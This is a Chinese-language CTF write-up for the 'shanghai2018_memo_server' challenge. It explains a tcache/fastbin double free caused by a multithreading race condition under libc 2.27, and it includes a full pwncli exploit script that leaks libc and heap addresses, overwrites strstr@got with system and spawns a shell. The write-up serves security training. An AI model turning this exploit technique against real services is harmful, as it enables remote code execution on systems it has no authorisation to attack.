[BUUCTF] shanghai2018_memo_server
shanghai2018_memo_server
总结
多线程条件竞争,经调试分析与阅读源码,总结在多线程下释放tcache管理大小范围内的堆块的时候,流程大概如下:
- 线程申请tcache_perthread_struct结构体,这里会使用mmap申请
- 将堆块释放到线程对应的tcache bins中
- 线程结束时调用tcache_shutdown,将当前线程tcache bins所管理的chunk都使用__libc_free释放掉,这时的tcache变量为NULL,所以肯定不会进tcache bins,而会进入到fastbins/unsorted bins。
checksec

远程为libc-2.27.so,可以double free的版本。
漏洞点
其实这个程序很多地方都有栈溢出,但是由于使用的都是sscanf/strlen/sprintf等字符串类型的函数,会被\x00截断,所以不太好绕过canary,否则直接利用栈溢出就能解题。首先泄露地址可以任选一个有栈溢出的函数,然后泄露栈上残留的地址即可,这里我选用的是echo函数:

还有一个主要利用的点,是多线程下全局变量的条件竞争:

这里故意设置了sleep(1)就是为竞争创造条件。
利用思路
- 
首先利用 echo泄露出libc地址
- 
利用条件竞争漏洞,首先泄露出堆地址,做法为:调用两次 add,然后调用1次count,等待1秒,这个时候该线程已经分配的2个属于memo的chunk都释放掉了,此时主线程调用GET /list即可泄露堆地址仍
- 
然后利用条件竞争漏洞,让两个线程去释放同一个 chunk,构造出A->B->A的fastbin链
- 
分配 A,此时由于tcache stash unlink,就会把剩下的B/A都会放到tcache bins中去,这里可以使用url_encode编码,使得memo的长度满足要求
- 
分配到 strstr@got,修改为system@plt
- 
输入 /bin/sh;获取shell
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def get_list(keep_alive=True):
    payload = "GET /list deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    s(payload)
    m = r()
    return m
def post_add(memo, count=1, keep_alive=True):
    assert len(memo) <= 80, "memo wrong!"
    if isinstance(memo, str):
        memo = memo.encode()
    payload = b"POST /add deadbeef \n"
    if keep_alive:
        payload += b"Connection: keep-alive\r\n\r\n"
    payload += b"memo=" + memo + b"&count="+ str(count).encode()
    s(payload)
    m = r()
    return m
def post_count(keep_alive=True):
    payload = "POST /count deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    s(payload)
    m = r()
    return m
def post_echo(content, keep_alive=True):
    payload = "POST /echo deadbeef \n"
    if keep_alive:
        payload += "Connection: keep-alive\r\n\r\n"
    payload += f"content={content}"
    s(payload)
    m = r()
    return m
def url_encode(addr, length):
    addr = hex(addr)[2:].zfill(16)
    res = ""
    for i in range(0, 16, 2):
        res = "%"+addr[i:i+2] + res
    return res.ljust(length, "X")
# leak libc addr
m = post_echo("a"*0xa7+"#")
i = m.find(b"#")
assert i >= 0, "index error!"
libc_base = u64_ex(m[i+1:i+7]) - 0x10bf0
log_address("libc_base", libc_base)
assert libc_base & 0xfff == 0, "libc error"
post_add("a"*0x30, 1)
post_add("b"*0x30, 1)
post_count()
sleep(1)
m = get_list()
heap_base = u32_ex(m[0xc5:0xc5+4]) - 0x280
log_heap_base_addr(heap_base)
sleep(3)
post_add("a"*0x30, 1) # 0
post_add("b"*0x30, 1) # 1
post_add("c"*0x30, 1) # 2
post_add("c"*0x40, 3) # 3
post_count()
sleep(2)
post_add(p32(heap_base + 0x280), 1)
post_count()
sleep(6)
post_add(url_encode(elf.got.strstr, 0x30), 1) # 0
post_add("a"*0x30, 1)
post_add("b"*0x30, 1) 
post_add(url_encode(libc.sym.system + libc_base, 0x30), 1)
sleep(2)
sl("/bin/sh;")
ia()

多试几次就可以拿到shell了。
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104091.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号